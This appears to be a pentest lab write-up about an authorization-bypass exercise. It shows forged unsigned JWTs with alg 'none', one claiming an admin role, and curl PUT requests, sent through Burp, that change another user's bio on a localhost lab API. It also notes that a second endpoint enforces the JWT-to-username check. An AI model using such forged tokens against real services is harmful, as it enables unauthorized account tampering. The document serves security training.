# Auth 0x06

PUT JESSAMY JWT AS SESSION/COOKIE

{% code overflow="wrap" %}
```
Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1SBs4XoAVoSuNihqaIPV%2Fimage.png?alt=media&#x26;token=78a56e71-ed73-41fe-8a46-db036e3d7441" alt=""><figcaption></figcaption></figure>

**IT WILL SEND TWO REQUEST AT THE SAME TIME**



First it will send the PUT request to jeremy account using his JWT&#x20;

(jeremy JWT --> jeremy bio change)

Then in the burpsuite it will pass the Jessamy JWT then it will bypass the jeremy account and change his bio

( jessamy JWT --> jeremy bio change)

{% code overflow="wrap" %}
```
curl -X PUT --proxy localhost:8080 -H "Content-Type: application/json" -b 'session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.' -d '{"username":"jeremy", "bio": "BIO TRYING"}' http://localhost/labs/api/v2/account.php
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FuYfIO8wBt959leEWyTsA%2Fimage.png?alt=media&#x26;token=330dffb4-5a8f-41aa-90cd-a3cd8dc6fa14" alt=""><figcaption></figcaption></figure>

BUT in the account2.php it will not work

Since the system will check for the JWT and username

(jeremy JWT === jeremy username)



Authorize

(jessamy JWT === jeremy username) -------WRONG

Thats why it says enforced

{% code overflow="wrap" %}
```
curl -X PUT --proxy localhost:8080 -H "Content-Type: application/json" -b 'session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.' -d '{"username":"jeremy", "bio": "BIO TRYING"}' http://localhost/labs/api/v2/account2.php
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FwHoEXe4R0dniKfWIH92a%2Fimage.png?alt=media&#x26;token=6f3109e3-2795-4aaa-ad1e-f55f8341ddb4" alt=""><figcaption></figcaption></figure>
